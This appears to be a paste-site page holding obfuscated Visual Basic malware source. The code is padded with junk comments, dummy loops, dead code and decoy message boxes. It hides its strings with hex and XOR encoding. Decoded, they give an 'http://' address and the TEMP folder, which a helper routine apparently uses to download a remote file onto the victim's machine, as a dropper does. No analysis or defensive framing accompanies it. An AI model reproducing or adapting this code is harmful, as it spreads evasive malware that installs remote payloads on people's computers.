- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim xDPUphJo As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For xDPUphJo = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next xDPUphJo
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox (XORI(Hextostring("3130311B3063556362"), Hextostring("744243")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim lcVdtKjS As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim JxuWQGhN As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For JxuWQGhN = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next JxuWQGhN
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- lcVdtKjS = 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While lcVdtKjS < 87
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim jcZoftxl As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For jcZoftxl = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next jcZoftxl
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: lcVdtKjS = lcVdtKjS + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ltoIGEMv As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For ltoIGEMv = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next ltoIGEMv
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim MaeuVsmZ As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For MaeuVsmZ = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next MaeuVsmZ
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- ibjNKnpohnk = XORI(Hextostring("292522085C58462038241B14160F352139140F04016F323915491D1A6E333F1648121124"), Hextostring("41515678667769"))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 165992 = 165992 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 7371 < 69 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim FywxKYXo As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim EVpDzoeV As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For EVpDzoeV = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next EVpDzoeV
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- FywxKYXo = 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While FywxKYXo < 24
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim kmGkosUz As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For kmGkosUz = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next kmGkosUz
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: FywxKYXo = FywxKYXo + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim WaCPZYGA As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For WaCPZYGA = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next WaCPZYGA
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim nhDvPFZP As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For nhDvPFZP = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next nhDvPFZP
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox (XORI(Hextostring("2B0B1C213C05343E7C4D"), Hextostring("594E746F706E73")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len(XORI(Hextostring("0E3A1C0E04243C287D58417F"), Hextostring("6B7248"))) = Len(XORI(Hextostring("0E1E361F1B062F37"), Hextostring("69796F"))) Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim hWMZVzbX As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim uQHmYWmh As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For uQHmYWmh = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next uQHmYWmh
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- hWMZVzbX = 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While hWMZVzbX < 19
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim SBRdAFNL As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For SBRdAFNL = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next SBRdAFNL
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: hWMZVzbX = hWMZVzbX + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ZqrfVtfw As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For ZqrfVtfw = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next ZqrfVtfw
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim JxavsRDV As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For JxavsRDV = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next JxavsRDV
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox (XORI(Hextostring("2C3A19201B684A6E48"), Hextostring("69486B4F")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim XhztsmKR As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim zhuqMNmZ As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For zhuqMNmZ = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next zhuqMNmZ
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- XhztsmKR = 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While XhztsmKR < 73
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim QoUiRlrp As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For QoUiRlrp = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next QoUiRlrp
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: XhztsmKR = XhztsmKR + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim yDZnlAaz As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For yDZnlAaz = 0 To 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next yDZnlAaz
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim bATfjNZT As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For bATfjNZT = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next bATfjNZT
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- PZQGZXPGNNP ibjNKnpohnk, Environ(XORI(Hextostring("212F0925"), Hextostring("756A44756C7A"))) & XORI(Hextostring("2F3131341401262B253E0C035D171E03"), Hextostring("73726666474F"))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End Sub
- Public Function XORI(ByVal aOjaQe As String, ByVal YQKwYuGU As String) As String
- Dim TGKkYVPifBY As Long
- For TGKkYVPifBY = 1 To Len(aOjaQe)
- GoTo AdqmhoNT
- Dim uiLGZEKc As String
- Open "YGNKIS.YSA" For Binary As 11
- Dim IZsEyJFr, fcMVlsTW, yFPOplWv As String
- IZsEyJFr = " YTXGVU "
- fcMVlsTW = LTrim(IZsEyJFr)
- yFPOplWv = RTrim(fcMVlsTW)
- Put #11, , uiLGZEKc
- Dim hefizprl, RLlSiWhz, urIYJlBx As String
- hefizprl = " VPUKQG "
- RLlSiWhz = LTrim(hefizprl)
- urIYJlBx = RTrim(RLlSiWhz)
- Close #11
- Dim cvimYzOE, xpQuRrgz, IhcpyJld As String
- cvimYzOE = " PVKLRE "
- xpQuRrgz = LTrim(cvimYzOE)
- IhcpyJld = RTrim(xpQuRrgz)
- AdqmhoNT:
- Dim nRBKkNhl, wTorQtDm, rqpNZcDP As String
- nRBKkNhl = " DLCLQA "
- wTorQtDm = LTrim(nRBKkNhl)
- rqpNZcDP = RTrim(wTorQtDm)
- XORI = XORI & Chr(Asc(Mid(YQKwYuGU, IIf(TGKkYVPifBY Mod Len(YQKwYuGU) <> 0, TGKkYVPifBY Mod Len(YQKwYuGU), Len(YQKwYuGU)), 1)) Xor Asc(Mid(aOjaQe, TGKkYVPifBY, 1)))
- Next TGKkYVPifBY
- End Function
- Public Function Hextostring(ByVal tpBESoq As String) As String
- Dim JEhxPkDxnS As String
- Dim cbgQJ As String
- Dim vIHYbeVuJCmUQr As Long
- For vIHYbeVuJCmUQr = 1 To Len(tpBESoq) Step 2
- GoTo YPYMQgEu
- Dim sTfgVPmB As String
- Open "GQGDUO.BED" For Binary As 49
- Dim ERgldrvo, xWttrqDS, zHDbjTTE As String
- ERgldrvo = " EYCPZD "
- xWttrqDS = LTrim(ERgldrvo)
- zHDbjTTE = RTrim(xWttrqDS)
- Put #49, , sTfgVPmB
- Dim YRTJvaQE, oHMQivmV, cTNhfpYY As String
- YRTJvaQE = " DOMKQR "
- oHMQivmV = LTrim(YRTJvaQE)
- cTNhfpYY = RTrim(oHMQivmV)
- Close #49
- Dim pTkYCmaQ, wQrOborX, IJHSaCuu As String
- pTkYCmaQ = " PSAIAT "
- wQrOborX = LTrim(pTkYCmaQ)
- IJHSaCuu = RTrim(wQrOborX)
- YPYMQgEu:
- Dim XTYfnPzl, JYHbWFvl, DUNQhLXm As String
- XTYfnPzl = " RRKSTS "
- JYHbWFvl = LTrim(XTYfnPzl)
- DUNQhLXm = RTrim(JYHbWFvl)
- JEhxPkDxnS = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(tpBESoq, vIHYbeVuJCmUQr, 2)))
- GoTo fLMGFIDU
- Dim uoQnTGzq As String
- Open "YGXQOK.BZK" For Binary As 11
- Dim fKCUddaJ, uoDlrljm, SrwDjFid As String
- fKCUddaJ = " XDGJZK "
- uoDlrljm = LTrim(fKCUddaJ)
- SrwDjFid = RTrim(uoDlrljm)
- Put #11, , uoQnTGzq
- Dim DkZVDFqk, hZJKxsMQ, RlCwACyl As String
- DkZVDFqk = " HZLWLC "
- hZJKxsMQ = LTrim(DkZVDFqk)
- RlCwACyl = RTrim(hZJKxsMQ)
- Close #11
- Dim bdfMPyct, cCJYIirE, PeEOpXuF As String
- bdfMPyct = " QKWYYT "
- cCJYIirE = LTrim(bdfMPyct)
- PeEOpXuF = RTrim(cCJYIirE)
- fLMGFIDU:
- Dim lkIeBfVt, gkKglkwu, qlznDxLi As String
- lkIeBfVt = " HCLYJN "
- gkKglkwu = LTrim(lkIeBfVt)
- qlznDxLi = RTrim(gkKglkwu)
- cbgQJ = cbgQJ & JEhxPkDxnS
- Next vIHYbeVuJCmUQr
- GoTo ZpxYWmiI
- Dim wndkSAxs As String
- Open "DVPYSQ.DWQ" For Binary As 44
- Dim dvLBvwbV, KlnlQHkH, QPktZCYl As String
- dvLBvwbV = " WEDNIX "
- KlnlQHkH = LTrim(dvLBvwbV)
- QPktZCYl = RTrim(KlnlQHkH)
- Put #44, , wndkSAxs
- Dim eeayyYgI, TggNGrVz, LtmEWGpP As String
- eeayyYgI = " JPNJDN "
- TggNGrVz = LTrim(eeayyYgI)
- LtmEWGpP = RTrim(TggNGrVz)
- Close #44
- Dim KItEUXPL, rFJYoOFr, hWEOQcJg As String
- KItEUXPL = " MEHVRN "
- rFJYoOFr = LTrim(KItEUXPL)
- hWEOQcJg = RTrim(rFJYoOFr)
- ZpxYWmiI:
- Dim DZxVtVuq, OEYpbeRs, RRHwMuzf As String
- DZxVtVuq = " NZDRML "
- OEYpbeRs = LTrim(DZxVtVuq)
- RRHwMuzf = RTrim(OEYpbeRs)
- Hextostring = cbgQJ
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement